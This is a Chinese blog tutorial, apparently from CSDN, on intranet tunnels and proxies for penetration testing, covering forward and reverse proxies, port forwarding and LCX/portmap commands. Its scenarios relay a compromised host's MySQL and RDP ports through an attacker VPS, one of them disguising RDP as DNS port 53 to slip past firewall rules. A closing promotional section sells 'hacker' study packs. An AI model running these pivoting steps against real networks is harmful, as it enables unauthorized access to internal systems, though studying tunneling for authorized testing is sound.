内网隧道代理技术_正向代理隧道,网络安全编程基础

Shadswsocks

应用层代理工具

Proxyifile

ProxyChains

内网代理工具

EW

NPS

FRP


隧道的概念

隧道通常指的是在一个网络连接上创建一个加密的数据通道

隧道技术是一种通过使用互联网络的基础设施在网络之间传递数据的方式。使用隧道传递的数据(或负载)可以是不同协议的数据帧或包。隧道协议将这些其他协议的数据帧或包重新封装在新的包头中发送。新的包头提供了路由信息,从而使封装的负载数据能够通过互联网络传递

被封装的数据包在隧道的两个端点之间通过公共互联网络进行路由。被封装的数据包在公共互联网络上传递时所经过的逻辑路径称为隧道。一旦到达网络终点,数据将被解包并转发到最终目的地

**注:**隧道技术是指包括数据封装、传输和解包在内的全过程

代理的概念

服务端处理socks、http(s)等协议请求时,将请求数据包和响应数据包进行转发,担任中间人的角色,可以搭建链路访问内部网络或原本无法访问的站点

代理一般分为正向代理和反向代理两类:

**正向代理:**被控主机监听端口,通过这个端口形成一个正向的隧道,我们访问内网的流量由被控主机转发到内网并返回相关信息,网络拓扑图如下:

**反向代理:**由内网主机主动连接到代理机器,然后本地去连接形成反向代理。例如:VPS监听本地端口,已控内网服务器来连接此端口,形成一个隧道

利用代理工具将目标内网的流量代理到本地进行访问,这样就可以对目标内网进行下一步渗透

网络拓扑图如下:

代理和隧道技术的区别

代理主要解决网络访问通讯问题,还可以隐藏本地IP

隧道技术解决在网络中的流量加密传输等

隧道代理技术的应用

提到隧道,我们先来回想一下我们现实生活中的隧道,两个地方要通车,但是中间有重重大山阻挡,怎么办?当然是挖穿它,建立一条可以通车的通道,这个通道称为隧道,这里隧道的作用是使得两个地方能够通车

而在内网渗透中,当我们拿下了某台边界主机,要对边界主机整个内网进行渗透时,首先要在被控主机内网进行信息收集,但是被控制的主机中没有趁手工具对内网进行探测,而我们在家或者在公司的电脑空有工具却无法访问被控主机内网,怎么办?

这个时候我们就要像现实生活中一样,建立一个通道,一条直通被控主机内网中的通道,使得我们在办公网络中的电脑能直接访问到被控主机内网中,而这个通道称为隧道,我们本地需要通过代理到搭建的隧道来访问被控主机内网,这整个过程称为隧道代理技术

隧道代理技术的描述

我们通过边界主机进入内网,往往会利用它当跳板进行横向渗透,但现在的内部网络大多部署了很多安全设备,网络结构更是错综复杂,对于某些系统的访问会受到各种阻挠,这就需要借助代理去突破这些限制,因此面对不同的网络环境对于代理的选择及使用显得格外重要

隧道的分类

关于隧道的分类大体可以从两个方面进行分类

从流量层分类
  1. 应⽤层:HTTP、SOCKS、DNS、SSH
  2. 传输层:TCP、UDP
  3. ⽹络层:ICMP、IPV6
从作用上分类
  1. 端口转发(LCX SSH iptables telnet)
  2. 端口映射(LCX NPS FRP)
  3. 正向代理(EW NPS FRP)
  4. 反向代理(EW NPS FRP)

Http代理和Socks代理(隧道)

我们在内网渗透的时候,大多数用到的代理就是http和socks

Http代理用的是Http协议,工作在应用层,主要是用来代理浏览器访问网页

Socks代理用的是Socks协议,工作在会话层,可以用来传递所有流量的数据包

socks 代理又分为 Socks4 和 Sock5,Socks4只支持TCP,而 Socks5 支持 TCP 和 UDP 并且支持数据加密传输

端口转发和端口映射

端口转发,有时被称为做隧道,是安全壳(SSH)为网络安全通信使用的一种方法简单来说,端口转发就是将一个端口收到的流量转发到另一个端口

攻击者往往利用端口转发来进入内网对某个特定的服务进行攻击,或者是为了绕过本地防火墙的策略(比如:3389端口不出网,我们可以将其转发至出网的53端口)

端口映射是 NAT 的一种,功能是把在公网的地址转成私有地址。简单来说,端口映射就是将一个端口映射到另一个端口供其他人使用

端口映射就是将内网中的主机的一个端口映射到外网主机的一个端口,提供相应的服务

正向代理和反向代理

正向是从攻击者电脑主动访问目标机器,例如通过主动访问目标建立Shell是正向Shell

反向是从目标机器主动连接攻击者电脑,例如通过在目标机器执行操作访问攻击者电脑建立的Shell是反向Shell

端口转发工具

LCX

LCX 是一款 Socket 基于端口转发工具,有 Windows 版和 Linux 版,其中 Linux 版名为 PortMap,lcx是国内最早开发的隧道工具,不过现在已经停止维护了

LCX 有端口映射和端口转发两大功能,例如当目标的某个端口只对内网开放,可以使用端口映射将只对内网开放的端口映射到目标的其他端口使用;当目标处于内网或目标配置的策略(Windows系统防火墙或者是Linux系统的iptables)只允许访问固定某一端口时,可以通过端口转发突破限制

项目源码地址:todzhang/lcx (github.com)")

下载地址:Pentest-tools/端口转发 at master · Brucetg/Pentest-tools (github.com)")

Windows版的LCX基础用法:

端口转发:正向代理

lcx.exe -listen <目标端口><监听端口>
lcx.exe -slave <攻击机IP><监听端口><目标IP><目标端口>

注:listen和slave需成对使用

端口映射:反向代理

lcx.exe -tran<等待连接的端口><目标IP><目标端口>

Linux版的LCX基础用法:

-v: version 软件版本
-h1: host1 监听的内网地址
-h2: host2 转发的公网地址
-p1: port1 内网服务端口
-p2: port2 转发到的公网端口
-log: 指定连接日志保存文件,默认输出到屏幕
-m: 指定使用方法
1:同Windows的lcx -tran
2:同Windows的lcx中的-listen
3:同Windows的lcx -slave

下面介绍一些实战场景,其中有win对win,Linux对Linux,Linux对win的使用方法

实战场景一

我们控制了一台Linux服务器,信息收集后发现内网中的172.16.10.10机器开启了mysql服务,我们想访问这个服务,但是被控主机没有mysql客户端连接工具,这个时候需要使用LCX进行端口转发

我们将内网中开启的3306端口转发到vps上的6666端口,在vps上监听6666端口并且转发到7777端口,这个时候我们在办公网络中只需要访问vps上的7777端口就能访问内网中的mysql服务了

实验拓扑

实验环境

机器名称机器IP
vps服务器139.*.*.139
被控服务器172.16.10.2
mysql服务器172.16.10.10

实验步骤

1、在被控服务器172.16.10.2上运行以下命令,监听mysql服务器的3306端口并且转发到vps上的6666端口

./portmap -m 3 -h1 172.16.10.10 -p1 3306 -h2 139...139 -p2 6666

2、在vps上运行以下命令,将本机6666端口的流量转发到本机的7777端口

./portmap -m 2 -p1 6666 -h2 139...139 -p2 7777

3、我们只需在攻击机器上运行一个Navicat连接到vps的7777端口,就可以连接到被控主机内网172.16.10.2中的mysql服务中

实战场景二

Web服务器开启了80端口,但3389端口不允许出网,可以将web服务器的3389端口转发到允许出网的53端口,这个时候攻击者在VPS监听53端口并且转发到1111端口,这个时候攻击者连接VPS的1111端口, 等于访问web服务器的3389端口(53端口为dns服务,默认开启)

实验拓扑

实验环境

机器名称机器IP
vps服务器139.*.*.139
web服务器172.16.10.2

实验步骤

1、在攻击机器上运行以下命令,监听本地53端口并且转发到VPS1111端口

lcx.exe -slave 139...139 53 127.0.0.1 3389

2、在vps运行以下命令,将本地的53端口转发到本地的1111端口

./portmap -m 2 -p1 53 -p2 1111

3、在内网攻击机器上连接公网vps的1111端口就能访问web服务器的3389端口

(注:没有找到当时的截图,随便找了一个,理解意思就行)

实战场景三

由于配置了规则允许web出网,这个时候如果我们想访问3389端口,就可以用LCX进行端口转发

Web 服务器开启了80端口,3389端口不允许出网,可以通过lcx来将web服务器的3389端口转发到允许出网的53端口,这个时候我们再在vps上启用lcx监听53端口的流量并转发到1111端口,最后直接连接vps的的1111端口,就相当于访问web服务器的3389端口(这里的web服务器是可以在外网访问的)

实验拓扑

实验环境

机器名称机器IP
vps服务器139.*.*.139
web服务器118.*.*.180

实验步骤

1、在攻击机器上运行以下命令,监听本地53端口并且转发到本地1111端口

lcx.exe -listen 53 1111

2、在web靶机上运行以下命令, 将本地的3389端口转发到139.*.*.139的53端口

lcx.exe -slave 139...139 53 127.0.0.1 3389

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

t,png)
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

一个人可以走的很快,但一群人才能走的更远。如果你从事以下工作或对以下感兴趣,欢迎戳这里加入程序员的圈子,让我们一起学习成长!

AI人工智能、Android移动开发、AIGC大模型、C C#、Go语言、Java、Linux运维、云计算、MySQL、PMP、网络安全、Python爬虫、UE5、UI设计、Unity3D、Web前端开发、产品经理、车载开发、大数据、鸿蒙、计算机网络、嵌入式物联网、软件测试、数据结构与算法、音视频开发、Flutter、IOS开发、PHP开发、.NET、安卓逆向、云计算

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值